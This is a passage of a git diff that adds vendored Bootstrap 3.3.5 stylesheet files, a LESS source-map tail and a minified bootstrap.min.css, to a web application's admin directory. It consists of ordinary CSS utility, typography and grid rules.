@media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-invisibility();\n }\n}\n.hidden-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-invisibility();\n }\n}\n.hidden-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-invisibility();\n }\n}\n\n\n// Print utilities\n//\n// Media queries are placed on the inside to be mixin-friendly.\n\n// Note: Deprecated .visible-print as of v3.2.0\n.visible-print {\n .responsive-invisibility();\n\n @media print {\n .responsive-visibility();\n }\n}\n.visible-print-block {\n display: none !important;\n\n @media print {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n\n @media print {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n\n @media print {\n display: inline-block !important;\n }\n}\n\n.hidden-print {\n @media print {\n .responsive-invisibility();\n }\n}\n","// Responsive utilities\n\n//\n// More easily include all the states for responsive-utilities.less.\n.responsive-visibility() {\n display: block !important;\n table& { display: table !important; }\n tr& { display: table-row !important; }\n th&,\n td& { display: table-cell !important; }\n}\n\n.responsive-invisibility() {\n display: none !important;\n}\n"]}
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/css/bootstrap.min.css b/public/admin/view/javascript/bootstrap/css/bootstrap.min.css
new file mode 100644
index 0000000..d65c66b
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/css/bootstrap.min.css
@@ -0,0 +1,5 @@
+/*!
+ * Bootstrap v3.3.5 (http://getbootstrap.com)
+ * Copyright 2011-2015 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media 